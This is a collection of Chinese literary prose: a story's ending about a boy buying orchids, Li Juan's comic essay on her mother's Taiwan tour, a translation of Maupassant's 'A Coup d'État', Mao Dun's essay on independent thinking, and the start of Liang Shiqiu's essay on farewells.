　　丹顿生平第一次由衷地欣赏珍妮的智慧。早先，他也会相当佩服她计算二次方根及立方根的本事，虽然他看不出这么做有什么意义。现在他终于明白思考的用处何在。步行回家的途中，他不断忖度着各种表明自己的方法。假如他能够在危急的情况中救出一个婴儿，或是一条狗也好，梅琳一定会因此对他有进一步的认识。只不过，经验告诉他，婴儿与小狗很少处于危险的情况中。想着想着，他来到费兹花店门前。橱窗上贴了一张字条，上面写着：“花是一切爱人的语言。”

　　这段文字点醒了他。

　　“爸，”在晚餐桌旁他说。

　　“你可不可以先预支一点钱给我，做为整理草地以及其他杂物之用？我算了一下，大概要十八块。”

　　“等等，儿子，一个月草地只需要整理两次就行了。”

　　“你拿钱到底做什么？”他母亲问？“喔，我得买一份礼物。”

　　“给女孩子？”

　　“嗯，差不多。”

　　“我不答应！”他母亲说。

　　“再说，这个月以来，你已经拿了不止十八块了。”

　　温特渥斯先生抿一抿嘴唇。

　　“想一想，这个月也许不好过。”

　　在结束他银行的账户前，丹顿还有十一块钱。有了十八块，还有那十一块，他威武地朝费兹花店前进。一个新面孔的女孩，站在槿柜台里。她有一双弯弯的眉毛，和甜美温馨的笑容。他心里想着梅琳。

　　“买二九块钱兰花！”他喊着。那个女孩不相信地盯着他看。最后，她想：“天哪！”一个充满意义的字眼。丹顿感觉得出她的惊羡。

　　“把花送到多佛路的梅琳。弗烈格小姐。”

　　他冷峻地说。

　　“天哪！”同样的话，不同的含意。这一次像是一个爱怜的抚弄。

　　“二九块！”当钱只是一串冰冷、无人性的数目时，并不怎么讨人喜欢；一旦它经由轻柔的嗓音转译出来，听来仿佛是祝祷之声。他将一堆钞票搁在柜台上，望着那个女孩，就像望着北天的星星一般，她变得如梦如幻，清澈闪烁。

　　“你叫什么名字？”他哑着声音问。

　　“黛安娜。”她回答。

　　丹顿搔了搔耳朵，它又开始痒了。

自从我妈从台湾旅游回来

李娟

　　自从我妈从台湾旅游回来，可嫌弃我们大陆了，一会儿嫌乌鲁木齐太吵，一会儿嫌红墩乡太脏。整天一幅“这日子简直没法过下去”的模样。抱怨完毕，换了衣服，立刻投入清理牛圈打扫鸡粪的劳动中，毫不含糊。

　　之后，足足有半年的时间，无论和谁聊天，她老人家总能在第三句或第四句话上成功地把话题引向台湾。

　　如果对方说：某店的某道菜不错。

　　她立刻说：嗨！台湾的什么什么那才叫好吃呢！

　　接下来，从台湾小吃说到环岛七日游。

　　对方：好久没下雨了。

　　她：台湾天天下雨！

　　接下来，从台湾的雨说到环岛七日游。

　　对方：这两天感冒了。

　　她：我也不舒服，从台湾回来，累得躺了好几天。

　　接下来，环岛七日游。

　　问题是她整天生活在红墩乡三大队这样的地方，整天打交道的都是本分的农民，人家一辈子顶多去过乌鲁木齐。你却和他谈台湾，你什意思？

　　好在对方是本分的农民，碰到我妈这号人，也只是淳朴地艳羡着。无论听多少遍，都像第一次听似的惊奇。

　　事情的起因是一场同学会。同学会果然没什么好事。毕业四十年，大家见了面，叙了情谊，照例开始攀比。我妈回来后情绪低落。说所有同学里就数她最显老，头发白得最凶。显老也罢了，大家说话时还插不进嘴。那些老家伙们，一开口就是新马泰，港澳台，最次也能聊到九寨沟。就她什么地方也没去过，亏她头发还最白。

　　她一回来就买了染发剂，但还是安抚不了什么。我便找旅行社的朋友，帮她报了个台湾环岛游的老年团。

　　总之事情就是这样的：去年年底初冬的某一天，我妈拎了只编织袋穿了双新鞋去了一趟台湾。这是她老人家这辈子第一次真正意义上的旅行。几乎成为她整个人生的转折点。

　　回来后，第一件事是掏出一枝香奈儿口红扔给我。轻描淡写道：“才两百多块钱，便宜吧？国内起码三四百。”——在此之前，她老人家出门在外渴得半死也舍不得掏钱买瓶矿泉水，非要忍着回家喝开水。

　　那是最后的购物环节，大家都在免税店血拼，我妈站在一边等着，不明所以状。有个老太太就说了：“你傻啊你？这多便宜啊，在国内买，贵死你！”

　　可在我妈看来那些东西也不便宜，一个钱包八千块。一枝眉笔五六百。

　　（后来我听了直纳闷，我明明给我妈报的是老年团啊？又不是二奶团，都消费些什么跟什么……）

　　还有的老太太则从另外角度怂恿：“钱嘛，生不带来死不带去，咱都这把年纪了，再不花还等什么时候？”

　　我妈是有尊严的人。最后实在架不住了，只好也扎进人堆，挑选了半天，买了支口红。

　　这么一小坨东西，说它贵嘛，毕竟两百多块钱，还能掏得起。说它便宜吧，毕竟只有一小坨。于是，脸面和腰包都护住了。我妈还是很有策略的。

　　除此之外，她还在台湾各景区的小摊小贩处买了一堆罕见的旅行纪念品。幸好带的编织袋够大。但是不久后，我在阿勒泰各大商场、超市分别看到了同样的东西。价格也差不多。

　　在台湾，她第一次近距离接触大海，感到忧心忡忡。

　　她说：“太危险了，也不修个护栏啥的。你不知道那浪有多大！水往后退的时候，跑不及的人肯定得给卷走！会游泳？游个屁，那么深，咋游！”

　　她还喜滋滋地说：“我趁他们都不注意的时候，偷偷尝了一下海水，果然是咸的！”

　　又说：“海边的风那个大啊，风里支个小棚，人人都进去吃东西，一拔人吃的时候，另一拔人旁边等着。太厉害了！“

　　我：“这有啥厉害的，不就在海边吃个东西嘛。”

　　她：“我是说，老板的生意厉害！”

　　之前她看了朱天衣的《我的山居动物伙伴》一书。无限神往。

　　她说：“每到一个有山的地方，我就使劲地看啊，使劲地找啊，特别想找到那一家人，去打个招呼。好多山上都有她说的那种沥青路，细细的，弯弯曲曲伸到林子里。我猜肯定就在路尽头。我还和前后左右的老头儿老太太都说了这家人的事。”

　　最后说：“给我在台湾买个房子吧？”

　　另外被她反复提及的还有司机的一条小狗。她说一路上小狗一直跟着，司机开车时就卧在他脚下。到地方了，司机就抱它下去解手。一解完就赶紧往车上跳。

　　她特别提到有一次车下一只野猫引起了狗的注意，它在车门边虚张声势地冲猫大喊大叫，猫理都不理它。司机抱起狗下车放到猫旁边。刚松手，狗嗖地一声就窜回了车上。

　　我不知道这件事有什么特别的。她起码说了五遍。

　　她说：“要是带上我赛虎（我家小狗，十一岁半）一起去就好了。我赛虎从没去过台湾。”

　　我问：“导游好不好？”

　　她说：“好！就是辛苦得很。一路上每个人都要照顾到。”

　　我：“司机好不好？”

　　她：“司机也辛苦，特准时，从来没让我们等过。”

　　我：“临别你给了多少小费？”

　　她：“给屁，我可没钱。”

　　想了想，又不好意思地说：“别人都给了，都给得多，不缺我这份。”

　　又说：“别人塞钱的时候，我就装没看到。”

　　我估计就算给人家小费，人家也未必肯要。我把在冬牧场用过的那个缠满透明胶带、漆面剥落的卡片相机转赠给她了。她去台湾后，到处请人使用这个相机帮她拍照。

　　况且拎的还是只编织袋。

　　我问：“台湾的东西真有那么好吃？”

　　她怒道：“别提了，去了七天，拉了三天肚子！”

　　又说：“那些水果奇形怪状，真想尝尝啊，又不敢。一吃就拉！”

　　又说：“满桌子菜色漂亮得很，什么都有，可惜全是甜的，吃得犯恶心。”

　　又说：“后来饿得头晕眼花。特想家里的萝卜干。幸亏同行的老太太带了一瓶剁椒酱一一她们出门可有经验了。她把剁椒酱帮我拌在米饭里，这才吃得下去。”

　　最后说：“拉了三天啊，腿都软了，连导游都害怕了。担心出事，都想安排我提前回去。

　　我说：“听起来很惨啊。都病那样了，还玩屁啊。”

　　她说：“病归病，玩归玩。总的来说，还是很不错！”

　　去之前，我倒是没考虑过闹肚子这个问题。唯一担心的是她晚上睡不好觉，她长年神经衰弱。

　　我问：“和谁一个房间？她打不打呼嚕？吵不吵你？”

　　她害羞地说：“她不打呼，倒是我打呼……把她吵得一连几天都没睡好。只好白天在大巴车上睡。”

　　我惊道：“那人家不烦死你了！”

　　她：“我拼命地道歉，还帮她拿行李，她就不生气了。还安慰我，还帮我打听治打呼的药。”

　　飞机从台北飞乌鲁木齐，六七个小时。下飞机时，她几乎和满飞机的人都交上了朋友，互留了电话。

　　大家都是出门旅行的，所参的团各不相同，免不了比较一番：你们住的酒店怎样？你们伙食开得如何？你们引导购物多吗？……踊跃吐槽，很快将各大旅行社分出了三六九等。丝毫不考虑旁边各旅行社的领队感受如何。

　　接下来又开始分享各自的旅行经验：出门带什么衣物穿什么鞋，到哪哪儿少不了蚊子油，哪哪儿小偷多，哪哪儿温泉好……我妈暗记在心。回来以后，向我提了诸多要求：买泳衣、买双肩背包（终于发现编织袋有点不对了）、买遮阳帽、买某某牌的化妆品、去北欧四国……

　　北欧四国……就算了吧，毕竟出钱的是我。我劝道：“那些地方主要看人文景观，你素质低，去了也搞球不懂。还是去海南岛吧。”

　　看来人生的第一次旅行不能太高端，否则会惯坏的。

　　她开始研究我的世界地图。

　　一会惊呼一声：“埃及这么远！！我还以为挨着新疆呢！”

　　一会儿又惊呼：“原来澳大利亚不在美国！”

　　最后令她产生浓厚兴趣的是印度南面的一小片斑点：“这些麻子点点是啥？”

　　我说：“那是马尔代夫。”又顺手用手机搜出了几张图片给她看（多事！）。

　　她啧啧赞叹了五分钟，掏出随身小本，把马尔代夫四个字庄重地抄了下来。

　　我立刻知道坏事了。

　　当天她一回到红墩乡，就给我旅行社的朋友打电话，要预约马尔代夫的团。

　　我的朋友感到为难，说：“阿姨，马尔代夫好是好，但那里主要搞休闲旅行，恐怕没有什么丰富的观光活动。不如去巴黎吧，我们这边刚好有个欧洲特价团。”

　　我妈认真地说：“不行，我女儿说了，我的素质低，去那种地方会丢人现眼的。”

　　以前吧，我家的鸡下的蛋全都攒着，我妈每次进城都捎给我的朋友们。如今大家再也享受不了这样的福利了。我妈开始赶集，鸡蛋卖出的钱分文不动，全放在一只纸盒子里，存作旅游基金。

　　但赶集是辛苦的事，我只好在朋友圈里帮着吆喝：请买我妈的鸡蛋吧，请支持我妈的旅游事业吧。

　　大家纷纷踊跃订购。我妈一看生意这么好，很快又引进了十只小母鸡。估计到今年年初夏，日产量能达到十五到二十个蛋。

　　我们这里土鸡蛋售价为一元五一个，算下来月收入至少七百元。一年下来八千多。我家的奶牛基本上一年半产一头小牛犊，五个月大的小母牛售价四五千，小键牛可卖三四千。李娟再给补贴一点一一好嘛，一年远游一次，什么北欧四国马尔代夫，统统不在话下。

　　另外，她老人家作为半道开闪的兵团职工，前两年刚刚把手续又办回了兵团，为此交了一大笔费用。但是从今年开始正式领退休金了，每个月一千多。农村生活花不了什么钱，省着点用，到年底存个万儿八千不成问题。于是乎，一年近游两次，什么秦皇岛峨嵋山，也不在话下。

　　总之，台湾之行是我妈一生的转折点。令她几乎抵达一生中最幸福的时光。之前她拍照时总是抿着嘴，板着脸，丝毫不笑，冒充知识分子。如今完全放开了，一面对镜头，笑着嘴角都岔到后脑勺了。还学会了无敌剪刀手和卖萌包子脸。

　　不但染了头发，还穿起了花衣服。

　　我建议：“妈，穿花衣服也不是不可以。但是，当你穿花衣服的时候能不能别穿花裤子？或者穿花裤子的时候别穿花衣服？”

　　她不屑一顾：“你没见人家台湾人，男的都比我花！”

　　在台湾，她还学会了四种丝巾的系法，回家后一一示范给我。

　　她说：“当时大家在上厕所。厕所门口就是卖丝巾的摊子，只要买他的丝巾，他就教你怎么系。”

　　“你买了？”

　　“没买。”

　　她很自豪：“我记性真好，只教了一遍就全记住了！”

　　我心想：“要是教了好几遍还学不会，还不买人家的丝巾，——好意思吗？”

　　她一边扯着丝巾在镜子前扭来扭去，一边感慨：“这是去台湾最大的收获！”

　　我哼道：“好嘛，花了我八千块学费，就学了个这！”

　　突然有一天，我妈认真地说：“从此以后，我要放下一切事情，抓紧时间旅游！”

　　我以为她彻悟了什么：“什么情况？”

　　她说：“听说六十六岁以后再跟团，费用就涨了。”

一次政变

莫泊桑 著 / 赵少侯 译

　　色当惨败的消息刚传到巴黎。共和国宣布成立。这次大混乱一直拖延到公社以后才结束，刚开始的时候，整个法国都感到喘不过气来。全国各地的人都在玩当兵的游戏。

　　针织品商人们变成了代行将军职务的上校；喜爱和平的大肚子束上了红色腰带，神气活现地掖着手枪和短刀匕首；小市民们变成了临时的战士，指挥着成营的乱嚷乱叫的志愿兵，为了摆威风，跟赶大车的一样粗话脏字不离嘴。

　　这些人以前只耍弄秤杆，现在手中拿了武器，操持上步枪，都高兴得几乎发狂；而且毫无理由地变成了使人望而生畏的人物。他们常常处决无辜的人，为的是证明他们会杀人；他们在普鲁士人还未光临过的乡间巡逻的时候，常用枪打死无主的狗，安安静静正在倒嚼的母牛和在草地里吃草的病马。

　　每个人都认为自己被召来担任一个重要的军事任务。连最小的村镇里的咖啡馆看上去都像是营房或者军医院，里面挤满了穿军服的商人。

　　卡纳维尔这个小镇还没有得到军队和巴黎方面令人发狂的消息；可是一个月来，镇上一直处在极端的动荡不安中，因为敌对的党派已面对面交起锋来。

　　镇长是德·瓦尔涅托子爵，瘦小个子，已经上了年纪，原是正统派，前不多久由于野心勃发归顺了帝国。他看见突然冒出了一个死对头，那就是玛萨雷尔医生，一个血气很旺的大胖子，他是本区的共和派首领，共济会镇分会的会长，农业协会会长，救火会董事长，并且是旨在保卫家乡的农民保乡团的组织者。

　　十五天的工夫，他居然设法说服了六十三名有老婆，有儿女的谨慎小心的农民和镇上的小商人志愿出来保卫家乡，他每天早晨就在镇政府门前的广场上训练这些志愿兵。

　　每当镇长偶然走到镇政府来的时候，腰间掖着手枪，手里举着指挥刀的指挥官玛萨雷尔总要在队伍前面高傲地走着，让他的部下高声喊叫：“祖国万岁！”有人注意到，这声喊叫很使矮小的子爵惶惑不安，因为他毫无疑问从其中看到一种威吓，一种挑战行为，同时对他来说，也是对大革命时代的一种可怕的回忆。

　　九月五日早晨，医生穿着军服，桌上放着他的手枪，正在替一对上了年纪的乡下人看病，男的七年前就得了静脉曲张症，一直等候着，等候到老婆也得了这种病，才一起来找医生看病。这时邮差送来了报纸。

　　玛萨雷尔先生打开报纸一看，脸上突然变色，霍地站起来，高举双手，万分激昂，当着两个吓得发呆的乡下人，扯开了嗓子喊道：

　　“共和国万岁！共和国万岁！共和国万岁！”

　　然后他倒在他的靠背椅里，激动得差点儿昏过去。

　　那个乡下人还在说：“刚一开头的时候，好像有不少蚂蚁顺着大腿爬，”玛萨雷尔医生叫起来了：

　　“别打搅我！我哪有闲工夫来管你们这些蠢事。共和国宣布成立了，皇帝被俘了，法国得救了。共和国万岁！”他一面奔向门口，一面狂叫：“塞勒斯特！快来，塞勒斯特！”

　　那女仆吓得急忙奔来，他心急慌忙，口齿不清，结结巴巴地说：

　　“我的长统靴，我的指挥刀，我的子弹带，还有在我夜壶箱上的那把西班牙匕首，都快拿来！”

　　那个死心眼的乡下人，抓着医生住口的那一小会儿，继续讲病情：

　　“后来就变得像一只只小口袋，一走路就疼。”

　　医生气极了，大声吼道：

　　“别跟我捣蛋啦！他妈的！你们要是勤洗脚，就不会得这种病了。”

　　接着，他一把抓住他的领口，冲着他的脸喊道：

　　“你这个糊涂虫，难道你不明白，我们已经是共和国了吗？”

　　可是他的职业感立刻使他安静下来，他于是把这对目瞪口呆的夫妇推向门外，嘴里不住地说：

　　“明天再来一趟吧，明天再来一趟吧，我的朋友，今天我没工夫。”

　　他一边从头到脚地装备自己，一边又向女仆下了一系列的紧急命令：

　　“赶快到皮卡尔中尉和波梅尔少尉家里去一趟，告诉他们我要他们立刻到这儿来。你也去找一下托尔什博夫，叫他把铜鼓带来，快去，快去！”

　　塞勒斯特走了以后，他静下来仔细思索，对如何克服目前形势的困难作好准备。

　　那三个人一齐来到，却都穿着工作服。指挥官满以为他们会穿了军装来，惊奇得跳了起来。

　　“真见鬼，你们一点消息也不知道？皇帝被俘，共和国宣布成立啦。现在必须采取行动。我的地位是微妙的，甚至可以说是危险的。”

　　他面对部下那几张惊愕万状的脸，思索了几秒钟，接着说：

　　“必须采取行动，不能犹豫；在这种时刻，一分钟就等于一点钟。一切都取决于能否迅速地做出决定。你，皮卡尔，去找神父，命令他敲警钟召集居民，我要对他们讲话。你，托尔什博夫，到全乡去打集合鼓，连热里泽和萨马尔那两个小村子都跑到，把武装的民兵召到广场上来。你，波梅尔，立刻穿上军装，有外套军帽就行了。咱们一起去占据镇政府，勒令德·瓦尔涅托先生把政权交给我。明白吗？”

　　“明白了。”

　　“那就执行，立即执行。波梅尔，我陪着你到你家里去，因为我们两人是一道行动的。”

　　五分钟之后，指挥官和他的部下武装到牙齿，出现在广场。就在这时，矮小的德·瓦尔涅托子爵，好像是去打猎，套着护脚套，肩上扛着猎枪，从另一条街快步走了过来，身后跟着三个猎场看守人，都穿着绿色外套，腰间挎着刀，肩上斜背着枪。

　　医生吃了一惊，听下脚步的时候，那四个人走进了镇政府，大门随即重新关上。

　　“我们来晚了一步，”医生嘟囔着说，“现在只好等待增援。暂时什么事也做不成了。”

　　皮卡尔中尉也来了。他说：

　　“神父拒不服从；他甚至跟教堂执事和侍卫在教堂里把大门关上了。”

　　在广场的另一面，和关上门的白色的镇政府遥遥相对的正是静悄悄的黑色教堂，特别显眼的是它那包着铁皮的大门。

　　居民们感到惊奇，有的从窗口探出头来，有的走出门来，这时候鼓声忽然响了，托尔什博夫出现，他三下一停地打着急速的集合鼓，迈着正步穿过广场，然后消逝在田野的路上。

　　指挥官拔出了军刀，独自一人前进到离这两座敌人据守着的房子各有一半距离的地方，举起刀在头上挥舞着，使足了劲吼道：

　　“共和国万岁！处死卖国贼！”

　　喊完他立即朝他的军官们撤退下来。

　　肉店老板，面包店老板，药房老板有点不放心，放下护窗板，关了店门。只有食品杂货店还开着。

　　这时民兵们逐渐地来到了，身上的衣服各式各样，头上却一律戴着一顶有红箍的黑色军帽，军帽代表了队伍的全部军服。他们的武器是生锈的老枪，这些枪悬挂在厨房的壁炉上方总有三十年了，他们看上去倒有点像一队护林的警丁。

　　指挥官等身边聚集了三十多人，就用几句话把情况通知了他们；然后转过身来对他的参谋部说：“现在，咱们行动吧。”

　　居民们又聚拢来，端详着，议论着。

　　医生很快决定了他的作战计划：

　　“皮卡尔中尉，你到镇政府的窗下去！以共和国的名义命令德·瓦尔涅托先生把镇政府交给我。”

　　可是中尉，这个原来的瓦匠师傅，拒绝了：

　　“你，你倒真聪明。让我去挨一枪，谢谢。里面的那些人枪法都很好，你不是不知道。这差事你自己去办吧。”

　　指挥官脸红了。

　　“我以法律的名义，命令你到那儿去。”

　　中尉反抗：

　　“糊里糊涂地把命送掉，我才不干呢。”

　　近旁聚着的一堆绅士哈哈笑了起来。其中有一个人喊道：

　　“你说得对，皮卡尔，这可不是时候。”

　　医生于是喃喃自语：

　　“一群懦夫！”

　　他把军刀和手枪交给了一个兵，然后慢慢地迈步前进，眼睛不眨地望着窗口，时刻提防着，怕从窗口露出一支枪筒来瞄准他。

　　他已走到离房子不过几步了，房子两头通两所小学的门忽然大开，孩子们从里面跟潮水似的涌了出来，这边是小男孩，那边是小姑娘，他们在空旷的广场上玩起来，围在医生的身边，叽叽喳喳好像一群小鹅，他说话也没法叫人听见了。

　　最后的几个学生刚出来，那两扇大门重又关上。

　　大部分儿童终于散开走了，司令官这才高声喊道：

　　“德·瓦尔涅托先生？”

　　二层楼的一扇窗开了，出现了德·瓦尔涅托先生。

　　指挥官接着说：

　　“先生，最近使得政府改变面貌的大事件，您当然已经知道。您代表的政府不存在了。我所代表的掌权了。在这种痛苦的，但是有决定性的情况下，我以新成立的共和国的名义，特来要求您把前政府委任您的职务交出来归我掌管。”

　　德·瓦尔涅托先生回答：

　　“医生先生，我是卡纳维尔的镇长，经主管机关正式任命，在没有接到上级命令将我免职并派人接替之前，我仍然是卡纳维尔的镇长。身为镇长，镇政府就是我的家，我一定要留在这里。想叫我出去，您就试试看吧。”

　　他又关上了窗。

　　指挥官朝他的队伍走回来。不过未对大家解释以前，他先把皮卡尔中尉从上到下打量了一下，然后说道：

　　“你真有胆量，真勇敢，简直是军队的羞耻。我撤你的军职。”

　　中尉回答：

　　“我才不在乎呢。”

　　说完，他就走过去和那些低声交谈的本地居民混在一起。

　　这时，医生感到进退两难。怎么办呢？下令进攻？可是他的部下肯跟着干吗？还有一节，他有这个权柄吗？

　　他灵机一动，想出了一个主意，连忙奔到镇政府对面，广场另一边的电报局。他发出了三份电报：

　　一份致巴黎共和国政府各成员；

　　一份致鲁昂，共和国新委的下塞纳省省长；

　　一份致共和国新委的第厄普专区区长。

　　在电文里，他陈述了情况，指出这个镇仍在君主主义者的旧镇长手中所遭受的危险，他说他愿意尽忠效劳，专等上级命令办事，他把所有的头衔都列在自己姓名的后面。

　　然后他回到他的队伍跟前，从衣袋里摸出十个法郎说：“拿去吧，朋友们，你们先去吃点东西，喝上一杯；这儿只须留下十个人的一个小分队，别放一个人从镇政府出来就行了。”

　　可是这番话让正跟钟表匠谈着话的前中尉皮卡尔听见了；他冷笑了一声，说道：“呸！他们要是出来，那倒正是进去的好机会。没有这一着，我看你是没法儿进去的。”

　　医生不理睬他，吃午饭去了。

　　到了下午，他在小镇周围布下岗哨，就好像有遭到突然袭击的危险似的。

　　他好几次走过镇政府和教堂的门口，没有看出有任何可疑的地方；简直可以认为这两座房子是空无一人的。

　　肉店老板，面包店老板和药房老板又把各自的店门打开。

　　在一家家人家里，议论很多。如果皇帝真的被俘，内中一定有人暗中出卖了他。大家也弄不清究竟哪一个共和国回来了。

　　天黑下来了。

　　九点钟左右，医生相信他的对手已经回家睡觉去了，一个人悄悄地走到镇政府的门口；他正准备拿十字镐把门砸开，一个响亮的声音，是个卫兵的声音忽然问道：

　　“什么人？”

　　玛萨雷尔先生撒开腿连奔带跑撤了下来。

　　天亮了，情况没有丝毫变化。

　　武装的民兵们据守着广场。所有的居民都聚在这支队伍周围，等候结果。邻近那些村子的居民也赶来看热闹。

　　医生这才明白他是拿了自己的名誉在冒险，于是决定无论如何也要结束这件事；他正准备采取一个办法，当然是强有力的办法，电报局的门忽然开了，女局长的年轻女仆人手里拿着两张纸出现了。

　　她先朝指挥官走来，把两份电报中的一份交给了他；然后在众目注视之下，她心里发慌，低下头，迈着细小的步子迅速穿过空无一人的广场中心，走到紧闭的房子门口，轻轻敲门仿佛她根本不知道有一方全副武装地埋伏在里面似的。

　　门开了一条缝，一只男人的手把电报接了进去，那个小姑娘就回来了，让全村的人这样从头到脚地看着，她的脸涨得通红，眼看要哭出来了。

　　医生扯着震天动地的嗓子要求道：

　　“请大家静一静，静一静。”

　　大家果然静了下来，他于是得意洋洋地接着说：

　　“这是政府给我的电报。”

　　他举着电报读电文：

　　解除旧镇长职务。请先考虑最紧急应办各事。训令即发出。——专区区长

　　参议员萨班代签

　　他胜利了；他高兴得心直跳；手也直哆嗦，可是他的那个老部下皮卡尔从附近的一堆人中间对他喊道：

　　“一切都很不错；不过那些人如果还是不出来，你这张纸顶个屁用。”

　　丽萨雷尔先生脸变了色。是的，如果那些人不出来，现在就得一直干下去了。这不仅是他的权利，也是他的责任了。

　　他忧虑重重地看着镇政府，希望会看见大门打开，他的敌人自动退去。

　　但是门还是关着。怎么办呢？看热闹的人越聚越多，紧紧围在民兵周围。大家都嘻嘻哈哈笑着。

　　有一种想法特别使医生痛苦。他想到如果发动攻击，他必须走在他的兵士的前面打头阵；只要把他打死，所有的争执也就都可以随之解决了，因此德·瓦尔涅托先生和他的三个猎场看守一定瞄准他，只瞄准他一个人。而他们的枪法是准的，很准很准的；皮卡尔刚才还提起过。他忽然灵机一动，想起了一个好主意，转过身来吩咐波梅尔：

　　“快去找药房老板，跟他借一块白餐巾，一根棍子。”

　　少尉急忙奔了去。

　　原来他想做一面要求谈判的旗子，一面白色的旗子，白颜色也许会使具有正统派心胸的旧镇长看着喜欢。

　　波梅尔拿着白餐巾和一把笤帚柄回来了，用细绳子绑成一面旗子，玛萨雷尔先生双手接过来朝前举着又向镇政府走去。等走到门前的时候，他又叫道：“德·瓦尔涅托先生。”门突然打开，德·瓦尔涅托先生和他的三个卫兵出现在门口。

　　医生不由自主地往后退了一步；然后很客气地朝他的敌人行礼，激动得连嗓音也变了，他说：“先生，我是来向您传达我所接到的训令的。”

　　那个贵族并不回礼，只是回答说：“我正要离开，先生，但是我必须告诉您，决不是因为害怕，也不是为了服从篡夺政府的这个丑恶的政府。”然后他又一字一顿地声明：“我一天也不愿意让人看上去以为我是在为共和国效劳。我的话完了。”

　　玛萨雷尔先生很难堪，什么话也没回答；德·瓦尔涅托先生说完就迈着急速的步子走了，后面还照旧跟着他的卫队，在广场的一个角落里消失。

　　医生这时候骄傲得有点晕头转向，向人群走了回来。等到他走到可以让别人听见他的声音的地方，他大声喊了起来：“乌拉！乌拉！共和国全线获胜了。”

　　群众没有任何激动的表示。

　　医生又喊道：“人民自由了，你们自由了，自主了。你们应该引以自豪啊！”

　　那些没精打采的乡下人望着他，眼睛里没有流露出丝毫的光荣感。

　　他很气愤他们这种无动于中的神情，于是也睁着眼端详他们，心里琢磨着该怎么说，怎么做，才能大大震动他们一下，才能使这块毫无热情的地方振奋起来，才能完成自己启蒙者的使命。

　　忽然灵机一动，他转过身来吩咐波梅尔：“少尉，快去把参议会会议大厅里的前皇帝半身像拿来，顺便带把椅子来。”

　　一忽儿工夫，波梅尔右肩扛着石膏制的波拿巴，左手提着一把草垫椅子回来了。

　　玛萨雷尔先生迎上前，接过椅子，放在地上，把白色的半身像放在椅子上，然后退后几步，提高了嗓门儿对半身像说起话来：

　　“暴君，暴君，你终于倒下来了，倒在烂泥里，倒在臭泥塘里。垂危的祖国曾经在你长靴的践踏中奄奄一息。替祖国复仇的命运之神打击了你。溃败与耻辱抓住你不撒手；你惨败下来，当了普鲁士人的俘虏；在你的崩溃的帝国的废墟上，年轻的、光辉的共和国站起来了，拾起了你的破碎的宝剑⋯⋯”

　　说到这里，他等了等，但是没有人喝彩，也没有人鼓掌。老乡们又惊又怕，一声也不吭。那座两撇尖尖的胡子向左右伸到脸颊以外去的半身像，那座静坐不动头发梳得光光，像理发馆招牌似的半身像，好像在注视玛萨雷尔先生，脸上还带着一种虚假的微笑，一种不可磨灭的、嘲弄的微笑。

　　他们就这样面对面地看着，拿破仑坐在椅子上，医生站在地下，相距三步。指挥官勃然大怒。可是怎么办呢？怎么才能激发这堆人，才能彻底取得舆论上的胜利呢？

　　他的手无意中放在自己的大肚子上，碰到了红色腰带下掖着的手枪和枪柄。

　　他现在既谈不上什么灵感，也想不出什么可说的话了。于是抽出枪，向前迈了两步，枪口紧挨着旧日的君主开了枪。

　　子弹在额头上打了一个小黑窟窿，就像是一个小小的污痕，几乎看不出来。预期的效果并没有发生。玛萨雷尔先生开第二枪，造成了第二个窟窿，然后开第三枪，然后把最后三发子弹一气打出。拿破仑的额头化作白灰飞散了，可是眼睛、鼻子和胡子的细尖儿一点也没有损坏。

　　医生真是气恼极了，于是一拳把椅子打翻，一只脚踩在那个剩下来的半身像上，摆出了胜利者的姿势，转脸向着目瞪口呆的观众叫道：“让所有的卖国贼都这样毁灭！”

　　可是观众们倒像是惊奇得愣住了，还是没有任何热情的表示，指挥官只好对民兵们吆喝：“现在你们可以各自回来了。”然后他好像有人追赶似的也迈开大步向自己的家走去。

　　一走进门，他的女仆就告诉他有病人在诊室等他，已经等了三个钟头。他赶快奔了去。原来就是患静脉曲张症的那两个乡下人，他们又固执又耐心，天亮就来了。

　　那个老人立刻就讲述起来：“刚一开头的时候，好象有不少蚂蚁顺着大腿爬⋯⋯”

谈独立思考

茅盾

　　有人问：如何而能独立思考？

　　我想：这个答案可以很多，其中之一也许是洋洋万言，引经据典，而效果等于不着一字。

　　但是，也还有另一方式的答案：

　　不读书者不一定就不能独立思考；然而，读死书、死读书、只读一面的书而不读反面的和其他多方面的书，却往往会养成思考时的“扶杖而行”，以致最后弄到独立思考能力的萎缩。

　　眼睛只看上边、不看下边的人，耳朵只喜欢听好话、不喜欢听批评的人，常常只想到自己、不想到别人的人，他们面前的可能的危险是：让“独自”思考顶替了独立思考。

　　教条主义是独立思考的敌人，它的另一敌人便是个人崇拜。

　　如果广博的知识是孕育独立思考的，那么，哺养独立思考的便应是民主的精神。

　　井底之蛙恐怕很难有独立思考的能力。应声虫大概从没有感到有独立思考之必要。而日驰数百里的驿马虽然见多识广，也未必善于独立思考。

　　人类的头脑，本来是具有独立思考的能力的。如果没有，人类就不能从“蠢如鹿豕”进化到文明。但是人类的这个天赋，是在生活斗争中不断碰到矛盾而又不断解决矛盾的过程中逐渐发达起来的。前人的经验和独立思考的成果，应当是后人所借以进行独立思考的资本，而不是窒息独立思考的偶像。

　　儿童的知识初开，常常模仿大人。这时的模仿，就是吸收前一代的经验和知识，为后来的独立思考准备条件。做大人的，看见幼儿模仿自己，便赞一声“聪明”，可是到后来看见渐臻成熟的少年不再满足于模仿自己，却又骂他“不肖”；这真是可笑的矛盾。

　　从前有些“诗礼之家”，有一套教养子女的规矩：自孩提以至成长，必使“非礼勿视，非礼勿听，非礼勿言……”这是把儿童放在抽出了空气的玻璃罩内的办法。这样培养出来的，如果不是书呆子，是犬儒，便是精神上失去平衡的畸形人，是经不起风霜的软体人。当然也不会是具有独立思考能力的人。

　　“诗礼之家”现在没有了，我盼望这样的教养方法也和它一同地永远消逝。

　　原载《人民日报》1956 年 7 月 3 日（署名玄珠）

送行

梁实秋

　　“黯然销魂者，唯别而已矣。”遥想古人送别，也是一种雅人深致。古时交通不便，一去不知多久，再见不知何年，所以南浦唱支骊歌，灞桥折条杨柳，甚至在阳关敬一杯酒，都有意味。李白的船刚要启碇，汪伦老远的在岸上踏歌而来，那幅情景真是历历如在眼前。其妙处在于纯朴真挚，出之以潇洒自然。平夙莫逆于心，临别难分难舍。如果平常我看着你面目可憎，你觉着我语言无味，一旦远离，那是最好不过，只恨世界太小，唯恐将来又要碰头，何必送行！

